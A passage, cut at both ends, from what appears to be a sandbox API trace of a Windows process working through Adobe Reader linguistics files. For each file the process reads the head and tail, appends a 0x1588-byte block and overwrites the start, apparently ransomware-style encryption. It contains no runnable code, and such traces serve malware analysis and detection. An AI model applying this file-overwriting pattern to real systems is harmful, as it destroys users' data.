lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x10c00 [0046.584] ReadFile (in: hFile=0x1a8, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.619] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x10c00 [0046.619] WriteFile (in: hFile=0x1a8, lpBuffer=0x1de6f18*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de6f18*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0046.620] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0046.620] WriteFile (in: hFile=0x1a8, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x340f28c*=0x4000, lpOverlapped=0x0) returned 1 [0046.620] CloseHandle (hObject=0x1a8) returned 1 [0046.813] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\estphon.env" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\estphon.env"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0046.814] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0046.814] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x1029 [0046.814] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0046.814] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.814] ReleaseMutex (hMutex=0x128) returned 1 [0046.814] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="estphon.env", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0046.814] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="estphon.env", cchWideChar=11, lpMultiByteStr=0x1e630ac, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="estphon.env", lpUsedDefaultChar=0x0) returned 11 [0046.814] ReadFile (in: hFile=0x1ac, lpBuffer=0x26142a8, nNumberOfBytesToRead=0x1029, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x26142a8*, lpNumberOfBytesRead=0x340f2bc*=0x1029, lpOverlapped=0x0) returned 1 [0046.828] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0046.828] WriteFile (in: hFile=0x1ac, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x15b1, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x340f2d0*=0x15b1, lpOverlapped=0x0) returned 1 [0046.828] CloseHandle (hObject=0x1ac) returned 1 [0046.828] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\gre.fca" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\gre.fca"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0046.829] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0046.829] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x2a0 [0046.829] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0046.829] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.829] ReleaseMutex (hMutex=0x128) returned 1 [0046.829] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gre.fca", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0046.829] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gre.fca", cchWideChar=7, lpMultiByteStr=0x1e6a894, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gre.fca", lpUsedDefaultChar=0x0) returned 7 [0046.829] ReadFile (in: hFile=0x1ac, lpBuffer=0x2739038, nNumberOfBytesToRead=0x2a0, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2739038*, lpNumberOfBytesRead=0x340f2bc*=0x2a0, lpOverlapped=0x0) returned 1 [0046.830] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0046.830] WriteFile (in: hFile=0x1ac, lpBuffer=0x1dc0fb8*, nNumberOfBytesToWrite=0x828, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0fb8*, lpNumberOfBytesWritten=0x340f2d0*=0x828, lpOverlapped=0x0) returned 1 [0046.831] CloseHandle (hObject=0x1ac) returned 1 [0046.831] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\heb.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\heb.hyp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0046.831] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0046.831] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x2800 [0046.831] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0046.831] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.831] ReleaseMutex (hMutex=0x128) returned 1 [0046.831] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="heb.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0046.831] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="heb.hyp", cchWideChar=7, lpMultiByteStr=0x1e6a894, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="heb.hyp", lpUsedDefaultChar=0x0) returned 7 [0046.831] ReadFile (in: hFile=0x1ac, lpBuffer=0x2613678, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.837] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x1800 [0046.837] ReadFile (in: hFile=0x1ac, lpBuffer=0x2613678, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.842] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x1800 [0046.842] WriteFile (in: hFile=0x1ac, lpBuffer=0x261d3f8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x261d3f8*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0046.842] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0046.842] WriteFile (in: hFile=0x1ac, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0046.842] CloseHandle (hObject=0x1ac) returned 1 [0046.842] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\hun32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\hun32.clx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0046.843] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0046.843] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x7ff2 [0046.843] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0046.843] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.843] ReleaseMutex (hMutex=0x128) returned 1 [0046.843] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hun32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0046.843] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hun32.clx", cchWideChar=9, lpMultiByteStr=0x1e6306c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hun32.clx", lpUsedDefaultChar=0x0) returned 9 [0046.843] ReadFile (in: hFile=0x1ac, lpBuffer=0x2613678, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.863] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x6ff2 [0046.863] ReadFile (in: hFile=0x1ac, lpBuffer=0x2613678, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.879] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x6ff2 [0046.879] WriteFile (in: hFile=0x1ac, lpBuffer=0x1deef08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1deef08*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0046.880] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0046.880] WriteFile (in: hFile=0x1ac, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0046.880] CloseHandle (hObject=0x1ac) returned 1 [0046.880] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\lit.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\lit.hyp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0046.880] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0046.880] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x4000 [0046.881] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0046.881] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.881] ReleaseMutex (hMutex=0x128) returned 1 [0046.881] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="lit.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0046.881] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="lit.hyp", cchWideChar=7, lpMultiByteStr=0x1e6aa2c, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lit.hyp", lpUsedDefaultChar=0x0) returned 7 [0046.881] ReadFile (in: hFile=0x1ac, lpBuffer=0x2613678, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.886] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x3000 [0046.886] ReadFile (in: hFile=0x1ac, lpBuffer=0x1de7e48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1de7e48*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.887] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x3000 [0046.887] WriteFile (in: hFile=0x1ac, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0046.887] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0046.887] WriteFile (in: hFile=0x1ac, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0046.887] CloseHandle (hObject=0x1ac) returned 1 [0046.888] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\nyn.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\nyn.hyp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0046.888] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0046.888] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x7000 [0046.888] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0046.888] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.888] ReleaseMutex (hMutex=0x128) returned 1 [0046.888] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nyn.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0046.888] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nyn.hyp", cchWideChar=7, lpMultiByteStr=0x1e6aa2c, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nyn.hyp", lpUsedDefaultChar=0x0) returned 7 [0046.888] ReadFile (in: hFile=0x1ac, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.890] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x6000 [0046.890] ReadFile (in: hFile=0x1ac, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0046.921] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x6000 [0046.921] WriteFile (in: hFile=0x1ac, lpBuffer=0x1de7ca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de7ca8*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0046.921] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0046.921] WriteFile (in: hFile=0x1ac, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0046.921] CloseHandle (hObject=0x1ac) returned 1 [0046.921] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\prt39.hsp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\prt39.hsp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0046.922] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0046.922] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x1766c [0046.922] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0046.922] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.922] ReleaseMutex (hMutex=0x128) returned 1 [0046.922] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="prt39.hsp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0046.922] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="prt39.hsp", cchWideChar=9, lpMultiByteStr=0x1e6306c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="prt39.hsp", lpUsedDefaultChar=0x0) returned 9 [0046.922] ReadFile (in: hFile=0x1ac, lpBuffer=0x3a45528, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x3a45528*, lpNumberOfBytesRead=0x340f278*=0x4000, lpOverlapped=0x0) returned 1 [0047.245] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x1666c [0047.245] ReadFile (in: hFile=0x1ac, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0047.403] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x1666c [0047.403] WriteFile (in: hFile=0x1ac, lpBuffer=0x3a4d588*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x3a4d588*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0047.403] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0047.403] WriteFile (in: hFile=0x1ac, lpBuffer=0x1da83d8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da83d8*, lpNumberOfBytesWritten=0x340f28c*=0x4000, lpOverlapped=0x0) returned 1 [0047.403] CloseHandle (hObject=0x1ac) returned 1 [0047.403] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\sgr.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\sgr.hyp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0047.404] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0047.404] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0xc400 [0047.404] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0047.404] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.404] ReleaseMutex (hMutex=0x128) returned 1 [0047.404] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sgr.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0047.405] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sgr.hyp", cchWideChar=7, lpMultiByteStr=0x1e6aa2c, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sgr.hyp", lpUsedDefaultChar=0x0) returned 7 [0047.405] ReadFile (in: hFile=0x1ac, lpBuffer=0x3a45528, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x3a45528*, lpNumberOfBytesRead=0x340f278*=0x4000, lpOverlapped=0x0) returned 1 [0047.409] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0xb400 [0047.409] ReadFile (in: hFile=0x1ac, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0047.413] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0xb400 [0047.413] WriteFile (in: hFile=0x1ac, lpBuffer=0x3a4e5b8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x3a4e5b8*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0047.413] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, 